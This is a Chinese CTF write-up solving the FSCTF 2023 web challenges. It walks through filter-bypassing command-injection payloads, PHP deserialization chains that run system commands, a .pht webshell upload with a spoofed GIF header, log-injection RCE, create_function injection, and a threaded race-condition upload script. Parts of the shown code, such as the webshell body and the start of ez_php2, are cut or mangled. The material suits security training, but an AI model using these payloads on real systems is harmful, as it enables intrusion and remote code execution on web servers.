【WP】FSCTF 2023 WEB

[FSCTF 2023]

源码!启动!

Ctrl +u 得到flag

webshell是啥捏

考察passthru()命令执行函数; 直接cat /f*就行

Hello,you

靠查的就是连接符和命令执行 有点像ping题那种

直接 ;sort f* ;可以换成|

【WP】FSCTF 2023 WEB_第1张图片

细狗2.0

过滤了空格和cat 空格用${IFS}替换就行 cat用nl代替

Payload:

1;nl${IFS}/f*

ez_php1

1.MD5绕过使用数组:http://node4.anna.nssctf.cn:28835/?b[]=a&a[]=b

FL_AG,可以是用FL[AG=1,得到hint1:L0vey0U.php

2.反序列化:

$str = 'YES I love';

echo urlencode(serialize($str));# 得到P0int.php

3.继续反序列化

 使用引用赋值&,让b=&a

$clazz = new Clazz();

$clazz->b = &$clazz->a;

echo serialize($clazz);

传参得到

PD8NCiRGTEFHPSAiRkxBR3t5MHVfYXJlX2wwdmUhISEhfSINCj8+DQo=

解码得到flag

【WP】FSCTF 2023 WEB_第2张图片

是兄弟,就来传你の!

 考点:PHP上传黑名单绕过,图片文件头欺骗,PHP最短webshell

首先使用pht后缀绕过黑名单  然后图片头我们常使用GIF89a 但这里有字符长度限制 所以我们使用GIF就行  然后一句话木马 我们使用长的也会被限制 所以使用最短webshell  

具体可看

https://blog.novelsee.com/archives/109626747

【WP】FSCTF 2023 WEB_第3张图片

我们这里的shell写的就是 

GIF

很简单内容 输出根目录下的所以东西 

我们测试 上传一个pht 文件 然后type改一下 得到文件路径 

【WP】FSCTF 2023 WEB_第4张图片

我们访问文件路径就可以得到flag了

【WP】FSCTF 2023 WEB_第5张图片

巴巴托斯!

先按照它的要求修改User-Agent: FSCTF Browser和Referer: 127.0.0.1 然后可以使用伪协议读取 也 发现存在目录穿越漏洞

【WP】FSCTF 2023 WEB_第6张图片

我们直接读取flag发现不存在

但还看到了nginx 可能涉及到日志注入漏洞 具体文章访问

日志注入漏洞 - NPFS - 博客园 (cnblogs.com)

我们输入一句话木马 直接查看falg

【WP】FSCTF 2023 WEB_第7张图片

然后再去访问日志就得到flag了

【WP】FSCTF 2023 WEB_第8张图片

EZ_eval 

分析代码 过率了空格 cat flag 空格用%09 cat 换成sort flag用f* 很基础的绕过

下面这个是关键 ?被替换为空 那就我们不能使用php一句话木马

我们使用长标签

【WP】FSCTF 2023 WEB_第9张图片

然后我们内容直接rce 就不使用蚁剑了

Paylaod:

?word=%3Cscript%09language=%22php%22%3Esystem(%27sort${IFS}/f*%27)%3C/script%3E

【WP】FSCTF 2023 WEB_第10张图片

ez_php2

代码审计和最终构造代码

start1 =new Rd();//进入this−>start1−>Love(this->start)这个函数,Love()会触发__call()函数,代码上找一下,只有Rd()有__call: 所以我们new一个Rd
$poc = new Poc();//先new一个Poc类 为后边做赋值用
$poc->payload =['POC'=>'1111']; //给里面的paylaod赋值为11111 理由:再看__call()里面,里面主要是要找个值使arg[0][‘POC’]=="1111"成立,,说明Love($this->start)里面的参数为[‘’=>‘’]:这里就会变量覆盖漏洞
$a->start = $poc->payload;  //这里就可以使得if判断成功 然后就可以进入到if语句里面
$a->start1->cl = new Er();//进入$this->cl->var1 = “system”,这里调用var1会触发__set(),Er()里面正好有 __set里变成:public function __set($name, $value) # $value='system'
//{
 //   system($this->Flag);
//}
//
echo (serialize($a));

Payload

?Ha_rde_r=O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:9:"cat /flag";}s:3:"poc";N;}s:6:"start2";s:5:"11111";}

【WP】FSCTF 2023 WEB_第11张图片

CanCanNeed【WP】FSCTF 2023 WEB_第12张图片

审计代码一眼丁真,是create_function利用

【WP】FSCTF 2023 WEB_第13张图片

具体文章访问

PHP create_function代码注入 - twosmi1e - 博客园 (cnblogs.com)

我们直接利用然后构造序列化代码 注意param2要绕过过滤

代码:

Paylaod:

Tzo3OiJOb3RlYXN5IjoyOntzOjk6IgAqAHBhcmFtMSI7czoxNToiY3JlYXRlX2Z1bmN0aW9uIjtzOjk6IgAqAHBhcmFtMiI7czo0NDoifXJlcXVpcmUoYmFzZTY0X2RlY29kZShabWxzWlRvdkx5OW1iR0ZuKSk7Ly8iO30=

【WP】FSCTF 2023 WEB_第14张图片

签到plus

考点:php<= 7 . 4 . 21 development server源码泄露漏洞

打开页面 无法访问404

【WP】FSCTF 2023 WEB_第15张图片

这里就已经很明显了  我们使用dirsearch扫描出了一个shell.php  我们直接访问shell.php他会回显phpinfo界面 然后搜索flag 也会出现假的flag

【WP】FSCTF 2023 WEB_第16张图片

所以我们利用php源码读取漏洞读取webshell源码 像下面这样

【WP】FSCTF 2023 WEB_第17张图片

具体访问下面这篇文章

https://blog.csdn.net/Kawakaze_JF/article/details/133046885

然后我们设置paylaod进行访问

GET /shell.php? HTTP/1.1

Host: node4.anna.nssctf.cn:28568





GET / HTTP/1.1

 得到

【WP】FSCTF 2023 WEB_第18张图片

然后把右边Hex读取的代码形成txt文件读取

HTTP/1.1 200 OK
Host: node4.anna.nssctf.cn:28568
Date: Wed, 25 Oct 2023 14:09:59 GMT
Connection: close
Content-Length: 443

我们发现phpinfo()在最前面 所以会出现刚刚的情况 我们然后带入表情发现下面就是个简单的passthru()命令执行函数 我们直接cat /f*就行

payload:

http://node4.anna.nssctf.cn:28999//shell.php?=cat /f*

【WP】FSCTF 2023 WEB_第19张图片

加速加速
 

官方wp:

这道题就是一个条件竞争 网上搜 upload-labs 通关甚至你能直接搜到 exp
参考链接 : 《Web 安全系列》- 文件上传 - 条件竞争上传-腾讯云开发者社区-腾讯云 (tencent.com)
这题就是在上传文件时如果你上传的不是图片 过 0.5 ( 很好跑出来的 ) 就会给你删掉。
这题目的就是在删掉之前访问你上传的 webshell( 所以要你加速快过删除速度 )
下面直接贴一下我的 exp
关于上传路径 这里随便传一个图片然后查看它的链接就能看到上传目录
脚本:
import requests
from concurrent.futures import ThreadPoolExecutor
def td(list):
 url = 'http://node4.anna.nssctf.cn:28142/index.php'
 files = {'upload_file': (
 'puu.php',"' ); ?>")}
 data = {'submit': '上传'}
 r = requests.post(url=url, data=data, files=files)
 re = requests.get('http://node4.anna.nssctf.cn:28142/upload/puu.php')
 if re.status_code == 200:
   print('上传成功')
if __name__ == '__main__':
 with ThreadPoolExecutor(50) as p:
   p.map(td, range(2000))

寻找蛛丝马迹

 考点就是信息收集的能力 

这道题总共六段flag

第一段 源码:

【WP】FSCTF 2023 WEB_第20张图片

第二段 css

【WP】FSCTF 2023 WEB_第21张图片 

第三段 js

【WP】FSCTF 2023 WEB_第22张图片 

第四段 提示爬虫 直接搜robots.txt

【WP】FSCTF 2023 WEB_第23张图片 

改下格式

【WP】FSCTF 2023 WEB_第24张图片 

提示苹果  那就是 .DS_store

【WP】FSCTF 2023 WEB_第25张图片 

访问得到

 

备份文件访问 www.zip 打开最后一个

believe_it!}

最后拼接

FSCTF{Tell_y0U_nT_To_poInT_oUt_tH@t_y000u_Don't_believe_it!} 

提交失败  明显 nT少了一个o 总不可能骂你nt

 FSCTF{Tell_y0U_noT_To_poInT_oUt_tH@t_y000u_Don't_believe_it!} 

你可能感兴趣的:(writeup,FSCTF,1024程序员节,web安全)